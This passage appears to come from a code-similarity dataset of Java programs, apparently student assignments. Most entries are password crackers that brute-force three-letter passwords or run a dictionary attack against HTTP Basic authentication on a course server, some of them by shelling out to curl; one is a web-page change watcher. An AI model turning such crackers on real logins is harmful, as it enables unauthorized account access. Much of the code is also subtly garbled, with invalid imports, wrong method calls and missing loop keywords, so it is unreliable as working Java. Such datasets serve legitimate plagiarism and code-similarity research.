StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t    v.add( s5);\n\t    v.add( s6);\n\t    v.add( s7);\n\t    v.add( s8);\n\t    v.add( s9);\n\t    v.add( s10);\n\t }\n      }\n      for( i = 0; i < letters.length - 2; i++)\n      {\n         for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t    for( k = i + 2; k < letters.length; k++)\n\t    {\n\t       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t       v.add( s11);\n\t       v.add( s12);\n\t       v.add( s13);\n\t       v.add( s14);\n\t       v.add( s15);\n\t       v.add( s16);\n\t    }\n\t }\n      }\n   }\n         \n   public static void main( String[] args)\n   {\n      Cracker cr = new Cracker();\n      cr.loadLetters();\n      cr.loadPairs();\n      cr.loadTriples();\n      System.out.println(\" far \"+cr.getVictor().size()+\" elements loaded\");\n   }\n}\n      \n"
      - |


        import java.net.*;
        import java.io.*;
        import java.String;
        import java.*;
        import java.util.*;

        public class BruteForce {
          private static final int passwdLength = 3;      
          private static String commandLine
               = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
          private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
          private int charLen = chars.length();           
          private int n = 0;                              
          private int n3 = charLen*charLen*charLen;       
          private String response;
          private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];
          private char[][] data = new char[passwdLength][charLen];
          private char[] pwdChar2 = new char[2];
          private char[] pwdChar = new char[passwdLength];
          private String url;
          private int startTime;
          private int endTime;
          private int totalTime;
          private float averageTime;
          private boolean finish;
          private Process curl;
          private BufferedReader bf, responseLine;

          public BruteForce() {

          first();
          finish = true;
          charLen = chars.length();
          for(int i=0; i<charLen; i++)
           for(int j=0; j<passwdLength; j++)
           {
            data[j][i] = chars.charAt(i);
           }
          Runtime run = Runtime.getRuntime();
          n = 0;

          
          for(int i=0; i<charLen; i++)
          {
            password[n++] = chars.substring(i,i+1);
          }

          
           for(int j=0; j<charLen; j++)
             for(int k=0; k<charLen; k++)
             {
               pwdChar2[0] = data[0][j];
               pwdChar2[1] = data[1][k];
               password[n++] = String.copyValueOf(pwdChar2);
             }

          
          for(int i=0; i<charLen; i++)
           for(int j=0; j<charLen; j++)
             for(int k=0; k<charLen; k++)
             {
               pwdChar[0] = data[0][i];
               pwdChar[1] = data[1][j];
               pwdChar[2] = data[2][k];
               password[n++] = String.copyValueOf(pwdChar);
             }
          n = 0;
          startTime = new Date().getTime();         
          try {
           while(true) {
            url = commandLine+password[n++];
            if(n>=n3) {
             System.out.println("\n  not find the password for user .");
             finish = false;
             break;
            }
            curl = run.exec(url);                  
            responseLine = new BufferedReader(new InputStreamReader(curl.getInputStream()));
            response = responseLine.readLine();
            
            
            if(response.substring(9,12).equals("200")) break;
            responseLine = null;
           }
          }
          catch(IOException ioe){
            System.out.println("\n IO Exception! \n");
            System.out.println("The current url is:"+ url);
            System.out.println("The current trying password is:"+password[n-1]);
            finish=false;
          }

          endTime = new Date().getTime();          
          totalTime = (endTime-startTime)/1000;
          System.out.println("   The response time is:"+ totalTime + "  seconds\n");
          if(finish) {
            System.out.println("   The password for  is:"+ password[n-1]);
            try {
            savePassword(password[n-1], totalTime);
            }
            catch (IOException ioec) {
               System.out.println("  not save the password  file BruteForce_pwd.txt ");
            }
          }
          }

          public void first() {

            System.out.println("\n\n---------------------------------------------------------------");
            System.out.println("  Use curl command  Brute Force the password for user .");
            System.out.println("   Attention: curl should  able  run at your directory");
            System.out.println("          without setting the Path for it.");
            System.out.println("---------------------------------------------------------------");
          }


          public void savePassword(String passwdString, int time) throws IOException {
          DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("BruteForce_pwd.txt"));
          outputStream.writeChars("The password is:");
          outputStream.writeChars(passwdString+"\n");
          outputStream.writeChars("The response time is: ");
          outputStream.writeChars(time1.toString(time));
          outputStream.writeChars(" seconds\n");
          outputStream.close();
          }

          public static void main(String[] args) {
           new BruteForce();
          }  
        }
  - source_sentence: |+
      import java.io.*;
      import java.*;
      import java.net.*;

      public class BruteForce
      {
         public static void main(String[] args) throws Exception
         {
            
           String password = checkPassword(); 

           System.out.println("Congratulations Your password is "+ password );
            
            

            URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
            HttpURLConnection sec = (HttpURLConnection)url.openConnection();
            sec.setRequestProperty("Authorization", " " + encode(":"+password));
            BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream()));
            String inputLine;

            while ((inputLine = in.readLine()) != null)
               System.out.println(inputLine);
            in.close();
        }

          

         private static String checkPassword() throws Exception
         {
            String Password=" ";
            int attempt=0;
            URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
            HttpURLConnection sec;
            String[] cad = {"a","b","c","d","e","f","g","h","i","j","k","l","m",
                            "n","o","p","q","r","s","t","u","v","w","x","y","z",
                            "A","B","C","D","E","F","G","H","I","J","K","L","M",
                            "N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};

            for (int i=0; i < cad.length; i++)
            {
               for (int j=0; j< cad.length;j++)
               {
                  for (int k=0; k<cad.length;k++)
                  {
                     attempt++;
                     String Passwd = new String(cad[i]+cad[j]+cad[k]);
                     String userPasswd= ":"+Passwd;
                     System.out.println(attempt+" "+userPasswd);
                    
                     sec = (HttpURLConnection)url.openConnection();
                     sec.setRequestProperty("Authorization", " " + encode(userPasswd));

                     if (sec.getHeaderField(0).equals("HTTP/1.1 200 OK"))
                     {
                        Password=Passwd;
                        return Password;
                     }
                     sec.disconnect();
                  }  
               }  
            }  
            return "Password not found";
         }

         private static String encode(String userPasswd) throws Exception
         {
            String ad;
            String encodedUserPasswd=" ";
            String addr= "~//base64_encode.php "+userPasswd ;
            Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", addr});
            BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream()));
            
            while ( (cad = resp.readLine()) != null )
            {
               
               encodedUserPasswd=cad;
            }
            return encodedUserPasswd;
          }
      }

    sentences:
      - "import java.io.*;\n\npublic class ReadDictionary {\n\tprivate BufferedReader bf;\n\tprivate String line=\"\";\n\n   public static void main (String argv[]) throws Exception { \n      ReadDictionary rd=new ReadDictionary();\n\t  rd.openFile();\n\t  for (int inx=0; inx<800 ;inx++ )\n\t  {\n\t  \tSystem.out.println(inx + \" \" + rd.readLine() );\n\t  }\n      }  \n\t  \n  \n\n\tpublic void openFile()\n\t{\n\t\ttry\n\t\t{\n\t\t\tsetBr(new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\")));\n\n\t\t}catch(IOException e)\n\t\t{\n\t\t\tSystem.out.println(e.getMessage());\n\t\t}\n\t}\n\n\tpublic String readLine()\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\t{\n\t\t\t\tline = bf.readLine();\n\t\t\t}while (line != null && line.length() >3);\t\t\t\n\t\t}catch (IOException e)\n\t\t{\n\t\t\tSystem.out.println(e.getMessage());\n\t\t}\n\t\treturn(line);\n\t\t\n\t}\t\n\n\t\n\tpublic BufferedReader getBr()\n\t{\n\t\treturn this.line;\n\t}\n\n\tpublic void setBr(BufferedReader bf)\n\t{\n\t\tthis.bf = bf;\n\t}\n}\n"
      - |-


        import java.net.*;
        import java.io.*;
        import java.io.BufferedReader;
        import java.io.InputStream;
        import java.io.InputStreamReader;
        import java.io.IOException;
        import java.io.FileInputStream;
        import java.io.FileNotFoundException;
        import java.util.*;
        import java.*;


        public class Dictionary {
            public static void main(String[] args) throws Exception {
                String pass;
                int attempt = 0;
                String fileName = "words.txt", line;
                BufferedReader reader;
                Dictionary dict = new Dictionary();
                boolean flag=false;

                System.out.println(System.currentTimeMillis()/1000);

              try{
                reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));
                while (!flag)
                {
                    try{
                       line = reader.readLine();
                       attempt++;
                       URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
                       URLConnection yc = url.openConnection();
                       pass = ":" + line;
                       String password = new url.misc.BASE64Encoder().encode(pass.getBytes());
                       yc.setRequestProperty("Authorization"," "+password);
                       BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
                       String inputLine;
                       while ((inputLine = in.readLine()) != null)
                           System.out.println(inputLine);
                       in.close();
                       System.out.println(pass);
                       flag=true;
                       System.out.println(System.currentTimeMillis()/1000); 
                       System.out.println(" of attempt: "+attempt);
                       System.exit(0);
                     }catch(IOException e){
                        
                     }
                }  
              }catch(FileNotFoundException e){
                 System.out.println("File not found");

              }
            }
        }
      - |-
        import java.io.*;
        import java.util.Date;





        import java.jscape.inet.http.*;  







        class BruteForce
        {
           public static void main (String args[]) throws Exception
           {
              String username = "";
              byte asciiLower[] = {97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122};
              byte asciiUpper[] = {65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90}; 
            
              int errorMessage = 401;
              int firstPosition = 0;
              int secondPosition = 0;
              int thirdPosition = 0; 
              int number = 1;
              int attempts = 0;
              
              Http http = new Http();
              HttpRequest request = new HttpRequest ("http://sec-crack.cs.rmit.edu./SEC/2/" );
              Date startDate = new Date(); 
              
              
             
              for(firstPosition = 0; firstPosition < 26; firstPosition++)
              {
                 String one = new String (asciiLower, firstPosition, number);
                 String password = one;
                 request.setBasicAuthentication(username,password);
                 HttpResponse response = http.getResponse(request);
                 errorMessage = response.getResponseCode();
                 System.out.println(errorMessage);
                 System.out.println(password);
                 attempts++;
                 if (errorMessage == 200)
                    break;
              }

               

              if (errorMessage == 401)
              {
                 for(firstPosition = 0; firstPosition < 26; firstPosition++)
                 {
                    String one = new String (asciiUpper, firstPosition, number);
                    String password = one;
                    request.setBasicAuthentication(username,password);
                    HttpResponse response = http.getResponse(request);
                    errorMessage = response.getResponseCode();
                    System.out.println(errorMessage);
                    System.out.println(password);
                    attempts++;
                    if (errorMessage == 200)
                       break;
                 }
              }

              

               if (errorMessage == 401)
              {
                 for (firstPosition = 0; firstPosition < 26; firstPosition ++)
                 { 
                    for(secondPosition = 0; secondPosition < 26; secondPosition++)
                    {
                       String one = new String(asciiLower, firstPosition,number);
                       String two = new String (asciiLower, secondPosition, number);
                       String password = one + two;
                       request.setBasicAuthentication(username,password);
                       HttpResponse response = http.getResponse(request);
                       errorMessage = response.getResponseCode();
                       System.out.println(errorMessage);
                       System.out.println(password);
                       attempts++;
                       if (errorMessage == 200)
                          break;
                    }
                    if (errorMessage == 200)
                       break;
                 }
              }  

               

               if (errorMessage == 401)
              { 
                 for (firstPosition = 0; firstPosition < 26; firstPosition ++)
                 { 
                    for(secondPosition = 0; secondPosition < 26; secondPosition++)
                    {
                       String one = new String(asciiUpper, firstPosition,number);
                       String two = new String (asciiUpper, secondPosition, number);
                       String password = one + two;
                       request.setBasicAuthentication(username,password);
                       HttpResponse response = http.getResponse(request);
                       errorMessage = response.getResponseCode();
                       System.out.println(errorMessage);
                       System.out.println(password);
                       attempts++;
                       if (errorMessage == 200)
                          break;
                    }
                    if (errorMessage == 200)
                       break;
                 }
              }

              

              if(errorMessage == 401)
              {
                 for (firstPosition = 0; firstPosition < 26; firstPosition ++)
                 { 
                    for(secondPosition = 0; secondPosition < 26; secondPosition++)
                    {
                       String one = new String(asciiUpper, firstPosition,number);
                       String two = new String (asciiLower, secondPosition, number);
                       String password = one + two;
                       request.setBasicAuthentication(username,password);
                       HttpResponse response = http.getResponse(request);
                       errorMessage = response.getResponseCode();
                       System.out.println(errorMessage);
                       System.out.println(password);
                       attempts++;
                       if (errorMessage == 200)
                          break;
                    }
                    if (errorMessage == 200)
                       break;
                 }
              }

              

              if (errorMessage == 401)
              {
                 for (firstPosition = 0; firstPosition < 26; firstPosition ++)
                 { 
                    for(secondPosition = 0; secondPosition < 26; secondPosition++)
                    {
                       for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
                       { 
                          String one = new String(asciiLower, firstPosition,number);
                          String two = new String (asciiLower, secondPosition, number);
                          String three = new String (asciiLower, thirdPosition, number); 
                          String password = one + two + three;
                          request.setBasicAuthentication(username,password);
                          HttpResponse response = http.getResponse(request);
                          errorMessage = response.getResponseCode();
                          System.out.println(errorMessage);
                          System.out.println(password);
                          attempts++;
                          if (errorMessage == 200)
                             break;
                       }
                       if (errorMessage == 200)
                          break;
                    }
                    if (errorMessage == 200)
                       break;
                 }      
              }

              

              if (errorMessage == 401)
              {
                 for (firstPosition = 0; firstPosition < 26; firstPosition ++)
                 { 
                    for(secondPosition = 0; secondPosition < 26; secondPosition++)
                    {
                       for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
                       { 
                          String one = new String(asciiUpper, firstPosition,number);
                          String two = new String (asciiUpper, secondPosition, number);
                          String three = new String (asciiUpper, thirdPosition, number); 
                          String password = one + two + three;
                          request.setBasicAuthentication(username,password);
                          HttpResponse response = http.getResponse(request);
                          errorMessage = response.getResponseCode();
                          System.out.println(errorMessage);
                          System.out.println(password);
                          attempts++;
                          if (errorMessage == 200)
                             break;
                       }
                       if (errorMessage == 200)
                          break;
                    }
                    if (errorMessage == 200)
                       break;
                 }      
              }


              

              if (errorMessage == 401)
              {
                 for (firstPosition = 0; firstPosition < 26; firstPosition ++)
                 { 
                    for(secondPosition = 0; secondPosition < 26; secondPosition++)
                    {
                       for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
                       { 
                          String one = new String(asciiUpper, firstPosition,number);
                          String two = new String (asciiLower, secondPosition, number);
                          String three = new String (asciiLower, thirdPosition, number); 
                          String password = one + two + three;
                          request.setBasicAuthentication(username,password);
                          HttpResponse response = http.getResponse(request);
                          errorMessage = response.getResponseCode();
                          System.out.println(errorMessage);
                          System.out.println(password);
                          attempts++;
                          if (errorMessage == 200)
                             break;
                       }
                       if (errorMessage == 200)
                          break;
                    }
                    if (errorMessage == 200)
                       break;
                 }      
              }

              

              if (errorMessage == 401)
              {
                 for (firstPosition = 0; firstPosition < 26; firstPosition ++)
                 { 
                    for(secondPosition = 0; secondPosition < 26; secondPosition++)
                    {
                       String one = new String(asciiLower, firstPosition,number);
                       String two = new String (asciiUpper, secondPosition, number);
                       String password = one + two;
                       request.setBasicAuthentication(username,password);
                       HttpResponse response = http.getResponse(request);
                       errorMessage = response.getResponseCode();
                       System.out.println(errorMessage);
                       System.out.println(password);
                       attempts++;
                       if (errorMessage == 200)
                          break;
                    }
                    if (errorMessage == 200)
                       break;
                 }
              }

              

              if (errorMessage == 401)
              {
                 for (firstPosition = 0; firstPosition < 26; firstPosition ++)
                 { 
                    for(secondPosition = 0; secondPosition < 26; secondPosition++)
                    {
                       for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
                       { 
                          String one = new String(asciiLower, firstPosition,number);
                          String two = new String (asciiLower, secondPosition, number);
                          String three = new String (asciiUpper, thirdPosition, number); 
                          String password = one + two + three;
                          request.setBasicAuthentication(username,password);
                          HttpResponse response = http.getResponse(request);
                          errorMessage = response.getResponseCode();
                          System.out.println(errorMessage);
                          System.out.println(password);
                          attempts++;
                          if (errorMessage == 200)
                             break;
                       }  
                       if (errorMessage == 200)
                             break; 
                    }
                    if (errorMessage == 200)
                             break;
                 }
              }

              

              if (errorMessage == 401)
              {
                 for (firstPosition = 0; firstPosition < 26; firstPosition ++)
                 { 
                    for(secondPosition = 0; secondPosition < 26; secondPosition++)
                    {
                       for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
                       { 
                          String one = new String(asciiLower, firstPosition,number);
                          String two = new String (asciiUpper, secondPosition, number);
                          String three = new String (asciiUpper, thirdPosition, number); 
                          String password = one + two + three;
                          request.setBasicAuthentication(username,password);
                          HttpResponse response = http.getResponse(request);
                          errorMessage = response.getResponseCode();
                          System.out.println(errorMessage);
                          System.out.println(password);
                          attempts++;
                          if (errorMessage == 200)
                             break;
                       }  
                       if (errorMessage == 200)
                             break; 
                    }
                    if (errorMessage == 200)
                             break;
                 }
              }

              

              if (errorMessage == 401)
              {
                 for (firstPosition = 0; firstPosition < 26; firstPosition ++)
                 { 
                    for(secondPosition = 0; secondPosition < 26; secondPosition++)
                    {
                       for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
                       { 
                          String one = new String(asciiLower, firstPosition,number);
                          String two = new String (asciiUpper, secondPosition, number);
                          String three = new String (asciiLower, thirdPosition, number); 
                          String password = one + two + three;
                          request.setBasicAuthentication(username,password);
                          HttpResponse response = http.getResponse(request);
                          errorMessage = response.getResponseCode();
                          System.out.println(errorMessage);
                          System.out.println(password);
                          attempts++;
                          if (errorMessage == 200)
                             break;
                       }
                       if (errorMessage == 200)
                          break;
                    }
                    if (errorMessage == 200)
                          break;
                 }
              }

              
              
               if (errorMessage == 401)
              {
                 for (firstPosition = 0; firstPosition < 26; firstPosition ++)
                 { 
                    for(secondPosition = 0; secondPosition < 26; secondPosition++)
                    {
                       for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
                       { 
                          String one = new String(asciiUpper, firstPosition,number);
                          String two = new String (asciiUpper, secondPosition, number);
                          String three = new String (asciiLower, thirdPosition, number); 
                          String password = one + two + three;
                          request.setBasicAuthentication(username,password);
                          HttpResponse response = http.getResponse(request);
                          errorMessage = response.getResponseCode();
                          System.out.println(errorMessage);
                          System.out.println(password);
                          attempts++;
                          if (errorMessage == 200)
                             break;
                       }
                       if (errorMessage == 200)
                          break;
                    }
                    if (errorMessage == 200)
                          break;
                 }
              }

              

              if (errorMessage == 401)
              {
                 for (firstPosition = 0; firstPosition < 26; firstPosition ++)
                 { 
                    for(secondPosition = 0; secondPosition < 26; secondPosition++)
                    {
                       for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
                       { 
                          String one = new String(asciiUpper, firstPosition,number);
                          String two = new String (asciiLower, secondPosition, number);
                          String three = new String (asciiUpper, thirdPosition, number); 
                          String password = one + two + three;
                          request.setBasicAuthentication(username,password);
                          HttpResponse response = http.getResponse(request);
                          errorMessage = response.getResponseCode();
                          System.out.println(errorMessage);
                          System.out.println(password);
                          attempts++;
                           if (errorMessage == 200)
                             break;
                       }
                       if (errorMessage == 200)
                          break;
                    }
                    if (errorMessage == 200)
                          break;
                 }
              }
                     
               
              Date endDate = new Date();
              System.out.println("Password crack finished: " + endDate);
              System.out.println("Password crack started: " + startDate);
              System.out.println(" of attempts: " + attempts);
           }
        }

             
          








                 

                 

                





                   
                
                   
              
  - source_sentence: "\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.Properties;\nimport java.security.*;\n\npublic class WatchDog\n{\n    private String file,tempfile1,tempfile2,tempfile3;\n\tprivate final String host=\"yallara.cs.rmit.edu.\";\n    private final String email=\"@cs.rmit.edu.\";\n    private final String from=\"[email protected].\";\n    private final String subject=\"SUBJECT:Mail from Watchdog about the changes  the web-.\";\n    private String baseURL=\"\";\n\tprivate String msg;\n\tprivate boolean firstTime=false;\n    public WatchDog(boolean flag)\n\t{\n\t\tfirstTime=flag;\n\t}\n\n    public void startWatching(String[] urls,String fl)\n    {\n\t\tfile=fl;\n\t\ttempfile1=fl+\"/temp1.log\";\n\t\ttempfile2=fl+\"/temp2.log\";\n\t\ttempfile3=fl+\"/temp3.log\";\n\t\tSystem.out.println(tempfile3);\n\n\t\tmsg=\"\";\n\t\tfor(;;)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\n\t\t\t\tfor(int o=0;o<urls.length;o++)\n\t\t\t\t{\n\t\t\t\t\tfile=fl+\"/ass2_\"+o+\".log\";\n\t\t\t\t\tURL u=new URL(urls[o]);\n\t\t\t\t\tString f=u.getFile();\n\t\t\t\t\tString url=urls[o];\n\t\t\t\t\tif(f.lastIndexOf('.')<f.lastIndexOf('/'))\n\t\t\t\t\t{\n\t\t\t\t\t\turl=f.substring(0,f.lastIndexOf('/'));\n\t\t\t\t\t\turl=u.getProtocol()+\"://\"+u.getHost()+url;\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.println(url);\n\t\t\t\t\twatch(url);\n\t\t\t\t\tmsg=msg+\"\\n\\n\";\n\t\t\t\t}\n\t\t\t\tif(firstTime==false)\n\t\t\t\t{\n\t\t\t     boolean flag=mail(msg);\n\t\t\t     if(flag)\n\t\t\t\t\tSystem.out.println(\"mail sent\");\n\t\t\t\t else\n\t\t\t\t\tSystem.out.println(\"mail not sent\");\n  \t\t\t\t Thread.sleep(1000*60*60*24);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tSystem.exit(0);\n\t\t\t}\n\t\t\tcatch(Exception e)\n\t\t\t{\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\t\t\t\n    }\n\n\tprivate void watch(String url) throws IOException\n\t{\n\t\t     baseURL=url;\n\t\t     msg=msg+\"Going  check the URL \"+url+\".\\n\";\n\t             \n\t\t     String pageText=getResource(url);\n\n\t\t\t String [] images=getImages(pageText);\n\n\t\t\t if(firstTime==false)\n\t             msg= msg + checkChange(pageText,images);\t     \n\n\t\t     msg=msg+\". Checked at \"+new java.util.Date(System.currentTimeMillis())+\".\";\n\n\t\t     log(pageText,images);\n\n\t\t\tif(firstTime)\n\t\t\t\tSystem.out.println(\"Re-run the watchDog (without the First flag).\");\n\t}\n\tprivate String checkChange(String pageText,String [] images) throws IOException\n\t{\n\t\t\n\t\tPrintWriter out=new PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(pageText);\n\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tBufferedReader in1=new BufferedReader(new FileReader(file));\n\t\tBufferedReader in2=new BufferedReader(new FileReader(tempfile1));\t\n\t\tString msg=\"\\n\";\n        \tString temp1=\"\",temp2=\"\",oldText=\"\",newText=\"\";\n\n\t\t\n\t\tBufferedReader in0=new BufferedReader(new FileReader(tempfile1));\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"+\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in0.readLine();\n\t\t\ttemp1=temp1+\"\\n\";\n\t\t\tnewText=newText+temp1;\n\t\t}\n\t\tin0.print();\n\t\tin0=null;\n\t\t\n\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(newText);\n\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\t\tnewText=\"\";\n\t\ttemp1=\"  \";\n\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"+\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in1.readLine();\n\t\t\ttemp1=temp1+\"\\n\";\n\t\t\ttemp2=in2.readLine();\n\t\t\ttemp2=temp2+\"\\n\";\n\t\t\toldText=oldText+temp1;\n\t\t\tnewText=newText+temp2;\n\t\t}\t\t\n\n\t\tin2.print();\n\t\tin2=null;\n\n\t\tout=new PrintWriter(new FileOutputStream(tempfile2));\n\t\tout.println(oldText);\n\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tmsg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);\n\t\tString data=\"\";\n\t\ttry{\n\t\t\tFileReader fin=new FileReader(tempfile3);\n\t\t\tint ch=fin.print();\n\t\t\twhile(ch!= -1)\n\t\t\t{\n\t\t\t       data=data+\"\"+(char)ch;\n\t\t\t\t   ch=fin.print();\n\t\t\t}\n\t\t}\n\t\tcatch(FileNotFoundException m){}\n\n\t\tmsg=msg+data;\n\n\t\ttemp1=in1.readLine();\n\n\t\tint numImg=Integer.parseInt(temp1);\n\t\tif(numImg != images.length)\n\t\t\tmsg=msg+\"The number of images has chnaged.\\n The number of images before was \"+numImg+\" \\n While the number of images found now is \"+images.length+\" .\\n\";\n\t\telse\n\t\t\tmsg=msg+\" is  change in the number of images  the .\\n\";\n\n\t\tString iText1=\"\",iText2=\"\";\n\t\t\n\t\tfor(int i=0;i<numImg;i++)\n\t\t{\n\t\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\t\t\tout.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\t\tout.flush();\n\t\t\tout.print();\n\t\t\tout=null;\n\n\t\t\tin2=new BufferedReader(new FileReader(tempfile1));\n\t\n\t\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"+\"\\n\")==false)\n\t\t\t{\n\t\t\t\n\t\t\t\ttemp1=in1.readLine();\n\t\t\t\ttemp1=temp1+\"\\n\";\n\t\t\t\ttemp2=in2.readLine();\n\t\t\t\ttemp2=temp2+\"\\n\";\n\t\t\t\tiText1=iText1+temp1;\n\t\t\t\tiText2=iText2+temp2;\n\t\t\t}\n\t\t\t\n\t\t\tin2.print();\n\t\t\tin2=null;\n\n\t\t\tif(iText1.equals(iText2))\n\t\t\t\tmsg=msg+\" is  change in the Image number \"+(i+1)+\". \\n\";\n\t\t\telse\n\t\t\t\tmsg=msg+\"The Image number \"+(i+1)+\" has changed. \\n\";\n\t\t}\n\n\t\treturn msg;\n\t}\n\tprivate String[] getImages(String text) throws IOException\n\t{\n\t\tString [] images,urls;\n\t\tjava.util.ArrayList alist=new java.util.ArrayList();\n\t\tString t=\"\";\n\t\tboolean img=false;\n\t\tint len=text.length();\n\t\tchar ch,last=' ';\n\t\tint c=0;\n\t\twhile(c<len)\n\t\t{\n\t\t\tch=text.charAt(c);\n\t\t\tif(ch=='<')\n\t\t\t{\n\t\t\t\tlast='<';\n\t\t\t\tt=\"\";\n\t\t\t}\n\t\t\tif(last=='<')\n\t\t\t{\n\t\t\t\tt=\"\"+ch;\n\t\t\t\tif(c+2 < len)\n\t\t\t\t\tt=t+text.charAt(c+1)+\"\"+text.charAt(c+2);\n\t\t\t\tif(t.equalsIgnoreCase(\"img\"))\n\t\t\t\t\timg=true;\n\t\t\t}\n\t\t\tif(img==true)\n\t\t\t\tt=+ch;\n\t\t\tif(ch=='>')\n\t\t\t{\n\t\t\t\tlast='>';\n\t\t\t\tif(img==true)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\tSystem.out.println();\n\t\t\t\t\tint n=0;\n\t\t\t\t\tchar tch,tlast=' ';\n\t\t\t\t\tString imgPath=\"\",tn=\"\";\n\t\t\t\t\tboolean src=false;\n\t\t\t\t\twhile(n<t.length())\n\t\t\t\t\t{\n\t\t\t\t\t\ttch=t.charAt(n);\n\t\t\t\t\t\ttn=\"\"+tch;\n\t\t\t\t\t\tif(src==false && tn.equalsIgnoreCase(\"s\") && (n+2)<t.length())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttn=tn+t.charAt(n+1)+\"\"+t.charAt(n+2);\n\t\t\t\t\t\t\tif(tn.equalsIgnoreCase(\"src\"))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsrc=true;\n\t\t\t\t\t\t\t\tn+=2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if(src==true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(tch!='\"')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(tch==' ' && imgPath.indexOf('.')!= -1)\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tn=t.length();\n\t\t\t\t\t\t\t\telse if(tch==' ' || tch=='=')\n\t\t\t\t\t\t\t\t\t;\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\timgPath=imgPath+tch;\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tn++;\n\t\t\t\t\t}\n\t\t\t\t\talist.add(imgPath);\n\t\t\t\t}\n\t\t\t\timg=false;\n\t\t\n\t\t\t}\n\t\t\tc++;\n\t\t}\n\t\turls=(String[])alist.toArray(new String[0]); \n\t\timages=new String[urls.length];\n\t\tfor(int i=0;i<urls.length;i++)\n\t\t{\n\t\t\tSystem.out.println(urls[i]);\n\t\t\tif(urls[i].startsWith(\"http\")==false && urls[i].startsWith(\"HTTP\")==false && urls[i].startsWith(\"/\")==false)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+\"/\"+urls[i]);\t\t\t\n\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\tString f=baseURL+\"/\"+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(urls[i].startsWith(\"http\")==false && urls[i].startsWith(\"HTTP\")==false)\t\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+urls[i]);\n\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException 